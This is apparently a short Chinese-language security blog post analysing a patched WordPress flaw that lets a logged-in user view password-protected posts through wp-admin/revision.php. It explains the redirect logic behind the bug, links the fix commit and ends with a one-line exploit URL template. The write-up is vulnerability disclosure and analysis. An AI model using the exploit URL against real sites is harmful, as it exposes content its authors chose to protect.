cdxy.me
Footprints on Cyber Security and Python

漏洞危害

WP允许作者发布一种带密码验证的文章,该漏洞可绕过密码保护查看内容。 受保护的文章截图

代码分析

官方修复方案,仅修改了检查的权限。

https://github.com/WordPress/WordPress/commit/a2904cc3092c391ac7027bc87f7806953d1a25a1 4.5bypass-sourcecode 检查权限失败会break,此时 $redirect="edit.php",会跳到编辑文章的界面。

if ( ! empty( $redirect ) ) {
    wp_redirect( $redirect );
    exit;
}

如果验证权限成功,会将 $redirect 重置为false,从而未跳转而是直接显示请求的页面内容,导致加密的内容被输出。

漏洞利用

触发该漏洞的入口为wp-admin/revision.php所以要用户登入。

exp: http://[WP-HOST]/wp-admin/revision.php?revision=[PAPER_ID]&action=view exp-success-pic